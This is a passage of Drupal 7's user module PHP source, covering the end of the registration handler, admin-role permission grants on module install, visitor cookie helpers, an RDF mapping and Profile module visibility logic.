3941 $form_state['uid'] = $account->uid;
3942 user_login_submit(array(), $form_state);
3943 drupal_set_message(t('Registration successful. You are now logged in.'));
3944 $form_state['redirect'] = '';
3945 }
3946 // No administrator approval required.
3947 elseif ($account->status || $notify) {
3948 $op = $notify ? 'register_admin_created' : 'register_no_approval_required';
3949 _user_mail_notify($op, $account);
3950 if ($notify) {
3951 drupal_set_message(t('A welcome message with further instructions has been e-mailed to the new user <a href="@url">%name</a>.', array('@url' => url($uri['path'], $uri['options']), '%name' => $account->name)));
3952 }
3953 else {
3954 drupal_set_message(t('A welcome message with further instructions has been sent to your e-mail address.'));
3955 $form_state['redirect'] = '';
3956 }
3957 }
3958 // Administrator approval required.
3959 else {
3960 _user_mail_notify('register_pending_approval', $account);
3961 drupal_set_message(t('Thank you for applying for an account. Your account is currently pending approval by the site administrator.<br />In the meantime, a welcome message with further instructions has been sent to your e-mail address.'));
3962 $form_state['redirect'] = '';
3963 }
3964}
3965
3966/**
3967 * Implements hook_modules_installed().
3968 */
3969function user_modules_installed($modules) {
3970 // Assign all available permissions to the administrator role.
3971 $rid = variable_get('user_admin_role', 0);
3972 if ($rid) {
3973 $permissions = array();
3974 foreach ($modules as $module) {
3975 if ($module_permissions = module_invoke($module, 'permission')) {
3976 $permissions = array_merge($permissions, array_keys($module_permissions));
3977 }
3978 }
3979 if (!empty($permissions)) {
3980 user_role_grant_permissions($rid, $permissions);
3981 }
3982 }
3983}
3984
3985/**
3986 * Implements hook_modules_uninstalled().
3987 */
3988function user_modules_uninstalled($modules) {
3989 db_delete('role_permission')
3990 ->condition('module', $modules, 'IN')
3991 ->execute();
3992}
3993
3994/**
3995 * Helper function to rewrite the destination to avoid redirecting to login page after login.
3996 *
3997 * Third-party authentication modules may use this function to determine the
3998 * proper destination after a user has been properly logged in.
3999 */
4000function user_login_destination() {
4001 $destination = drupal_get_destination();
4002 if ($destination['destination'] == 'user/login') {
4003 $destination['destination'] = 'user';
4004 }
4005 return $destination;
4006}
4007
4008/**
4009 * Saves visitor information as a cookie so it can be reused.
4010 *
4011 * @param $values
4012 * An array of key/value pairs to be saved into a cookie.
4013 */
4014function user_cookie_save(array $values) {
4015 foreach ($values as $field => $value) {
4016 // Set cookie for 365 days.
4017 setrawcookie('Drupal.visitor.' . $field, rawurlencode($value), REQUEST_TIME + 31536000, '/');
4018 }
4019}
4020
4021/**
4022 * Delete a visitor information cookie.
4023 *
4024 * @param $cookie_name
4025 * A cookie name such as 'homepage'.
4026 */
4027function user_cookie_delete($cookie_name) {
4028 setrawcookie('Drupal.visitor.' . $cookie_name, '', REQUEST_TIME - 3600, '/');
4029}
4030
4031/**
4032 * Implements hook_rdf_mapping().
4033 */
4034function user_rdf_mapping() {
4035 return array(
4036 array(
4037 'type' => 'user',
4038 'bundle' => RDF_DEFAULT_BUNDLE,
4039 'mapping' => array(
4040 'rdftype' => array('sioc:UserAccount'),
4041 'name' => array(
4042 'predicates' => array('foaf:name'),
4043 ),
4044 'homepage' => array(
4045 'predicates' => array('foaf:page'),
4046 'type' => 'rel',
4047 ),
4048 ),
4049 ),
4050 );
4051}
4052
4053/**
4054 * Implements hook_file_download_access().
4055 */
4056function user_file_download_access($field, $entity_type, $entity) {
4057 if ($entity_type == 'user') {
4058 return user_view_access($entity);
4059 }
4060}
4061
4062/**
4063 * Implements hook_system_info_alter().
4064 *
4065 * Drupal 7 ships with two methods to add additional fields to users: Profile
4066 * module, a legacy module dating back from 2002, and Field API integration
4067 * with users. While Field API support for users currently provides less end
4068 * user features, the inefficient data storage mechanism of Profile module, as
4069 * well as its lack of consistency with the rest of the entity / field based
4070 * systems in Drupal 7, make this a sub-optimal solution to those who were not
4071 * using it in previous releases of Drupal.
4072 *
4073 * To prevent new Drupal 7 sites from installing Profile module, and
4074 * unwittingly ending up with two completely different and incompatible methods
4075 * of extending users, only make the Profile module available if the profile_*
4076 * tables are present.
4077 *
4078 * @todo: Remove in D8, pending upgrade path.
4079 */
4080function user_system_info_alter(&$info, $file, $type) {
4081 if ($type == 'module' && $file->name == 'profile' && db_table_exists('profile_field')) {
4082 $info['hidden'] = FALSE;
4083 }
4084}